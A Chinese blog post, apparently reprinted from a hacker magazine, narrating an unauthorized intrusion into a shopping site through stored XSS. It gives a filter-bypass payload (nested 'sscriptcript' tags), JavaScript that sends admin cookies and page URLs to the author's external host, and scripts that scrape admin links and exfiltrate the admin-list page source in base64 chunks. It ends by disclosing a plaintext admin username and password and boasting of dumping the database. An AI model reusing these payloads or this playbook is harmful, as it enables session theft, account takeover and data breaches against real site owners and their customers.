[原创]XSS盲打入侵实例

XSS盲打入侵实例 原创 混世魔王
投稿了。 发表于 《黑客防线》2012.11 期的杂志。请直接翻阅《黑客防线》2012.11 期的杂志阅读。
现在注入越来越少了,于是XSS入侵开始成为热门的手法了,记录一个XSS手法CRSF入侵的实例,朋友接了一个购物商城的单子,让我帮忙一起看看,独立服务器,用的老旧的ASP语言的程序,不是主流的CMS系统或者购物系统,我想应该是自己开发的吧。
ASP的漏洞就那么几个,没有啥注入点,所有id都是经过cint处理过的,网站找不到后台。服务器的C段也没有几个网站。想渗透也不好下手。悲剧的,我转了一圈又一圈,也没啥突破口。怪不得叫我看看。
重新回到网站。随手注册了个账户,发现可以给管理员留言。看来只有XSS这一条路了。这个留言可以自己查看,修改,删除。这样测试XSS就不怕管理员发现了。
开始测试xss。发现script替换成了空反复测试了下发现<sscriptcript></sscriptcript> 替换成为 <script></script>是支持的。于是写了js丢自己空间里面。
1.js 的内容如下,网址我用我的BLOG替代了:
img=new Image();
img.src=”http://26836659.blogcn.com/g.php?c=”+escape(document.cookie)+”-“+escape(window.location.href)+”|”+escape(top.location.href)
给管理员发表留言。
“我下不了订单< sscriptcript src= http://26836659.blogcn.com/1.js></ sscriptcript >”
等了半天没有cookie上钩,于是我直接找到客服系统跟她说:“我下不了单你去看看,我给你留言了。”然后关闭客服系统。这下没两分钟,cookie来了!

顺利得到后台的地址为Xxaaddmmiinn21012 ,这谁知道哦。管他了。先进后台再说。

悲剧的是就是进不去。此路不通,得换个思路,既然可以XSS,那要不然,CRSF加入一个管理员进去。可这程序有不开源,想CRSF也得知道后台的结构啊。那先得想办法获得他网站后台的所有链接。
于是修改脚本为:
window.onload = function () {
img=new Image();
a=document.getElementsByTagName(“A”);var b=””;
if(a.length<40){
for(i=0;i<a.length;i++)
{b+=a[i].href};
}else
{
for(i=0;i<40;i++) //这里主要是因为get数据不能太多..不然get不了..
{b+=a[i].href};
}
img.src=”http://26836659.blogcn.com/g.php?cookie=”+escape(document.cookie)+”—–“+escape(window.location.href)+”—-“+escape(top.location.href)+”—“+escape(b);
img.width=0;
img.height=0;
}
经过漫长的XSS,这样,获取了不少的链接。发现有一个可疑连接为 adminlist.asp,通过英文名字,就知道,这个管理员列表的意思,修改XSS代码来获取adminlist.asp的页面源代码。
结果页面太大,不行!get提交数据太多了。
思考了好久。开始想获取一部分,然后在做判断获取另一部分,把他源代码分段get过来,这里就遇到一个问题。如何分段处理,想了好久。决定把代码加密为base64 然后分段传输过来,然后在组装成一个源代码透露部分核心代码。代码写的仓储没做算法思考,别见笑。
var newfun = new Base64;
var html=newfun.encode(geturlcode(‘http://26836659.blogcn.com/Xxaaddmmiinn21012/adminlist.asp’));
var sss=html;
var max = sss.length / 500;
var a=new Array();
var m =0 ;
for (i=0;i<=max;i++)//把代码转换为500 个字节为一组
    {
        a[i]=sss.substr(m,500);
        m +=500;
    }
 
var url = “http:// http://26836659.blogcn.com/file.php?id=”;
 
for (j =0 ; j<=max;j++)//全部get回来.
 {
 var msg = “msg=”+a[j];
img=new Image();
 var sst = url+j + “&msg=”+a[j];
 img.src=sst;
 img.width=0;img.height=0;
 }
 
最后在file.txt 里面获取到了
1msg=xxxxxxxx
2msg=xxxxxx
4msg=xxxxxxxxx
5msg=xxxxxxxx
3msg=xxxxxx
这样的base64数据。Id不是序列的主要是因为异步传输有些快有些慢。不过总算是获取回来了。
base64解密整理了下。看来老天眷顾,发现帐号密码。tmd还好不是md5加密的。
Adminshopsex ad123adf456gh!@#$
接下来,后台登陆成功,脱数据库了。

没有评论:

发表评论

Follow Us

FOLLOW US

Blog Archive

Comments

Blogger 提供支持.

Search This Blog

Tags

header ads